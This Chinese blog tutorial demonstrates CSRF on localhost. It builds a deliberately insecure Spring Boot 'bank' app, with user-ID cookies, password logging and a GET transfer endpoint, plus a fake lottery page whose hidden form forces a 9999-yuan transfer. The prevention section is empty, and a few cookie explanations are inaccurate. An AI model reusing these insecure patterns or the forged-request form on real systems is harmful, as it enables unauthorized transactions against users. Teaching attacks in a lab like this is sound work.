今天给大家表演一个拙劣的CSRF攻击。
我会编写两个应用:一个是正经应用,一个是钓鱼的应用。然后让后者攻击前者,让它打钱!
一、绪论
1.1 先聊聊Cookie
Cookie在八股文里面好像已经讲烂了, 就是一个服务端给客户端返回的【键值对】,这个键值对用来存储一些用户的信息(不包括密码,要不然就太不安全了),下次客户端再访问服务端的时候,带上Cookie。Cookie 是常用的本地存储(Local Stroage 、 Session Stroage 、 IndexedDB 、Cookies)的一种,用户每次访问站点时,Web应用程序都可以读取 Cookie 包含的信息。当用户再次访问这个站点时,浏览器就会在本地硬盘上查找与该 URL 相关联的 Cookie
。如果该 Cookie 存在,浏览器就将它添加到request header
的Cookie
字段中,与http请求
一起发送到该站点。
Cookie 将 document 对象的cookie 属性提供给 JavaScript,可以使用JavaScript来创建和取回 cookie 的值,因此我们可以通过document.cookie访问它。
cookie是存于用户硬盘的一个文件,这个文件通常对应于一个域名,也就是说,cookie可以跨越一个域名下的多个网页,但不能跨越多个域名使用。
作用包括但不限于:
- 保存用户登录信息
- 保存购物车数据,同一个域名下可以Cookie共享,这可以保证不同页面之间的数据同步
- 跟踪用户行为,记录用户偏好
总之,有什么作用全看你往cookie里存什么了。
设置Cookie的方式很多,可以在前端设置,也可以在后端设置。甚至用户可以自己打开浏览器控制台通过命令来设置(除了key-value以外都不是必须设置的):
document.cookie = "myCookieKey=myCookieValue;domain=.google.com.hk;path=/webhp;expires=Sat, 04 Nov 2017 16:00:00 GMT;max-age=10800;"
通过了解Cookie的属性,我们也更能把握Cookie的工作原理,现在把每个设置项罗列一下:
属性名 | 释义 |
path | 默认值为"/"表示能访问的路径 |
domian | 默认值为"/",指定域下的所有路径都能访问。.google.com.hk表示不包括子域。www.google.com.hk表示包括子域。 |
expires | Cookie 什么时候失效(被删除) |
max-age | Cookie 有效期到什么时候(被删除) |
secure | 默认情况为空,不指定 secure 选项,即不论是 http 请求还是 https 请求,均会发送cookie。指定后,cookie只有在使用SSL 连接(如HTTPS 请求或其他安全协议请求的)时才会发送到服务器。 |
httponly | 默认情况是不指定 httponly,即可以通过 js 去访问。 |
1.2 再聊聊CSRF
CSRF(Cross Site Request Forgery,跨站点请求伪造),要素:
- 用户登录正规网站
- 用户访问攻击页面
- 攻击网站利用正规网站对用户的信用凭证伪装成用户向目标网站发起请求
关于第 2 点,用户如何访问攻击页面,那肯定是点击链接。第 3 点攻击页面要使用(注意,只是使用,因为他只是运用浏览器的特性可以使用这个Cookie而已)信用凭证(在本文中特指 Cookie),那就是用户要从正规网站上点击非法链接,这个链接可能藏在正规网站的帖子,博文中。这样,对方得到了Cookie再拿着Cookie去伪造请求,就可以达到不可告人的目的。
攻击能成功的关键:在同一个浏览器下,无论哪个页面或者网站向正规网站发送请求,请求头都会带上该正规网站域名下的 Cookie。
1.3 再聊聊CSRF怎么预防
1.4 再聊聊我的模拟
有一个“银行应用”,有登录接口,登录完之后会给客户端下发Cookie,还有一个过滤器,每次调用应用的接口都会校验一下Cookie。此外,该应用还有一个转账接口。
再准备一个“钓鱼应用”,应用链接内嵌到“银行应用”的博文列表中,当用户点击钓鱼链接时,就会跳转到钓鱼应用页面。之后页面会调用“银行应用”的转账接口。
依赖:
Springboot 3.1.0 + vue3.0 + axios + jackson + mybatis+ + lombok插件
二、步骤
2.0 准备持久层相关
(1)数据库里两张表
一张用户表
一张文章列表
(2)创建实体类
Essay.java和User.java并准备其增删改查接口(这里只用到了查询,所以直接创建就可以,非常简单)
Essay.java
@Data
public class Essay {
private Integer id;
private String title;
private String content;
}
User.java
@Data
public class User {
private Integer id;
private String username;
private String password;
}
Servie接口UserService.java:
public interface UserService {
User findUserByUsername(String username);
List<Essay> getAllEssay();
}
实现UserService接口:
@Service
public class UserServiceImpl implements UserService {
@Resource
private UserMapper userMapper;
@Override
public User findUserByUsername(String username) {
return userMapper.getUserByUsername(username);
}
@Override
public List<Essay> getAllEssay() {
return userMapper.getAllEssay();
}
}
UserMapper.java
@Mapper
public interface UserMapper {
List<User> getAllUsers();
int updateCookieByUserName(@Param("cookie") String cookie);
User getUserByUsername(@Param("username") String username);
List<Essay> getAllEssay();
}
UserMapper.xml
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE mapper
PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN"
"http://mybatis.org/dtd/mybatis-3-mapper.dtd">
<mapper namespace="com.example.imitatecsrf.mapper.UserMapper">
<select id="getUserByUsername" resultType="com.example.imitatecsrf.model.User">
select * from t_user where username = #{username}
</select>
<select id="getAllEssay" resultType="com.example.imitatecsrf.model.Essay">
select * from essay
</select>
</mapper>
2.1 准备一个被攻击应用
2.1.1 准备前端页面
这个被攻击应用是一个具备转账功能的应用,有一个粗糙的登录页面,我们访问一下:(此时还没有登录cookie也是空的)
页面代码:
<body>
<div id="app">
<div v-if="showLoginOrNot">
<h1>用户登录</h1>
<br>
<form th:method="post">
<label for="username">用户名:</label>
<input id="username" type="text" name="username" v-model="username" placeholder="请输入用户名">
<br>
<br>
<label for="password">密码:</label>
<input id="password" type="password" name="password" v-model="password" placeholder="请输入密码">
<br>
<br>
</form>
<button @click="submitLoginInfo()">提交</button>
</div>
<div v-if="!showLoginOrNot">
<div class="essayContent" v-for="essay in essayList" :key="essay.id">
<h1>{{essay.title}}</h1>
<p v-html="essay.content">{{essay.content}}</p>
<hr>
</div>
</div>
</div>
<script src="https://cdn.bootcdn.net/ajax/libs/axios/1.3.6/axios.js"></script>
<script src="/js/vue.js"></script>
<script>
new Vue({
el: "#app",
data: {
username: "",
password: "",
showLoginOrNot: true,
essayList: []
},
methods: {
submitLoginInfo() {
axios.post(
"/login",
{
username: document.getElementById("username").value,
password: document.getElementById("password").value
}
).then(response => {
// 登录展示文章列表
this.showLoginOrNot = false
if (response.data.code === 200) {
this.essayList = response.data.data
} else {
// 登录失败
alert("用户名/密码错误,请重新登录")
this.username = ""
this.password = ""
}
});
}
}
})
</script>
</body>
2.1.2 准备控制器
@RestController
@Slf4j
public class BusinessController {
@Resource
private UserService userService;
@PostMapping("/login")
public Result login(@RequestBody User user, HttpServletResponse response) {
// 每次登录都给客户端发放一个新的cookie
String username = user.getUsername();
String password = user.getPassword();
if (userService.findUserByUsername(username) == null || !userService.findUserByUsername(username).getPassword().equals(password)) return Result.fail();
// 登录成功
String cookieKey = user.getUsername();
String cookieValue = String.valueOf(userService.findUserByUsername(username).getId());
System.out.println(cookieValue + " " + cookieKey);
Cookie cookie = new Cookie(cookieKey, cookieValue);
cookie.setMaxAge(24 * 60 * 60 * 60);
response.addCookie(cookie);
log.info("用户{}登录成功,密码为{},Cookie:{}-{}设置完毕", user.getUsername(), user.getPassword(), cookieValue, cookieKey);
// 把文章列表也返回给用户
List<Essay> essays = userService.getAllEssay();
return Result.ok(essays);
}
@GetMapping("/transfer")
public String transfer(@RequestParam Integer money, @RequestParam String to) {
return "向" + to + "转账人民币:" + money + "元";
}
}
2.1.3 准备拦截器和视图控制器
@Slf4j
public class PassPortInterceptor implements HandlerInterceptor {
private UserService userService;
public PassPortInterceptor(UserService userService) {
this.userService = userService;
}
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
// 拦截请求
Cookie[] myCookie = request.getCookies();
if (myCookie == null) {
log.info("无cookie");
return false;
}
log.info("客户端携带的Cookie有" + myCookie.length + "项");
for (int i = 0; i < myCookie.length; i++) {
log.info("第{}个为{}-{}", i + 1, myCookie[i].getName(), myCookie[i].getValue());
String username = myCookie[i].getName();
Integer userId = Integer.valueOf(myCookie[i].getValue());
// cookie校验成功,放行
if (userService.findUserByUsername(username) != null
&& userService.findUserByUsername(username).getId() == userId) {
return true;
}
}
return false;
}
}
配置拦截器和视图控制器:
@Configuration
public class MyMvcConfig implements WebMvcConfigurer {
@Resource
UserService userService;
@Override
public void addViewControllers(ViewControllerRegistry registry) {
registry.addViewController("/loginPage").setViewName("loginPage");
}
@Override
public void addInterceptors(InterceptorRegistry registry) {
registry.addInterceptor(new PassPortInterceptor(userService)).excludePathPatterns("/loginPage", "/login");
}
}
2.1.4 测试一下
(1)测试登录接口
登录成功,并且向用户展示了文章列表,而且也成功地给客户的浏览器中添加了cookie:
测试成功
(2) 测试转账接口/transfer
直接调用:/transfer?to=张三&money=50000
得到:
测试成功
(3)测试拦截器是否工作正常
在没有登录(没有cookie)的情况下 ,还能不能调用 /transfer 接口?我先删除cookie,然后再次调用 /transfer?to=张三&money=50000
因为我没有设置被拦截之后重定向,所以得到了一片空白,测试成功
2.2 准备一个攻击应用
攻击应用就很简单啦,用SpringBoot脚手架生成一个应用,开一个新端口,然后创建一个index页面:
<body>
<form method="get" action="http://127.0.0.1:8080/transfer">
<h1>这是一个抽奖页面</h1>
<br>
<input type="hidden" name="money" value="9999">
<input type="hidden" name="to" value="hacker">
<input type="button" onclick="submit()" value="开始抽奖">
</form>
</body>
页面长这样:
2.3 发起攻击
一个正规网站上怎么会出现钓鱼链接?比如说,这个网站上有帖子啊,帖子是大家发的,里面就可能会有钓鱼链接。比如我就在一个帖子里放了我的钓鱼链接:
<p>参考 <a href="http://127.0.0.1:9000/" ref="nofollow noopener noreferrer">点我抽奖</a> </p>
用户看到的效果是(圈起来的就是我放的链接):
当我们一点击这个链接,就会跳转到抽奖页面,当我们一点击“开始抽奖”,钓鱼网站就会帮我们调用 /transfer 接口,使用我们的cookie去正规网站给自己转钱,效果是这样子的:
然后我就被转走了9999元
三、总结
3.1 CSRF不会有跨域问题吗?
一般来说,跨域就是 协议&域名&端口号 有一个不一致就是跨域了,我上面那两个应用端口是不一致的,那不就跨域了吗?
谁在阻止跨域?是浏览器处于安全策略阻止非同源请求。事实上,每次跨域请求都是正常发送的,服务端也会正常返回,只是被浏览器拦截了。所以每次请求都会到达服务端。
也就是说,至少攻击页面的表单请求是可以发出的,而且由于使用了目标网站认可的cookie,请求会被响应。
当浏览器收到服务端响应的数据时,会判断给数据的源和当前页面的源是否同源。针对不同的源,如果后端没有做相应的处理,则会被浏览器过滤。
再一个就是我从银行网站跳转到攻击网站,从攻击网站跳转回银行网站,这里是两次跨域,为什么没有被同源策略阻止呢?
因为同源策略一般限制三种行为:
(1) Cookie、LocalStorage 和 IndexDB 无法读取。
(2) DOM 无法获得。
(3) AJAX 请求不能发送。
第一次,我只是单纯地做了页面跳转,是页面跳转,而不是AJAX,所以不受限制。第二次,我向非同源页面发送请求,既不是AJAX请求,也没有返回DOM,也不读取Cookie所以不会受到限制。
最后最后,为什么浏览器会在访问钓鱼页面的时候带上银行应用的Cookie?因为浏览器对于Cookie使用的同源策略为:
浏览器使用 cookie 情况主要包括以下几点:
除了跨域 XHR 请求情况下,浏览器在发起请求的时候会把符合要求的 cookie 自动带上。(域名,有效期,路径,secure 属性)
跨域 XHR 的请求的情况下,也可以携带 Cookie。
浏览器允许跨域提交表单
也就是说,浏览器中有页面或网站向某个域名发送请求时,其请求都会自动带上该域名下的所有 cookie。
参考文献: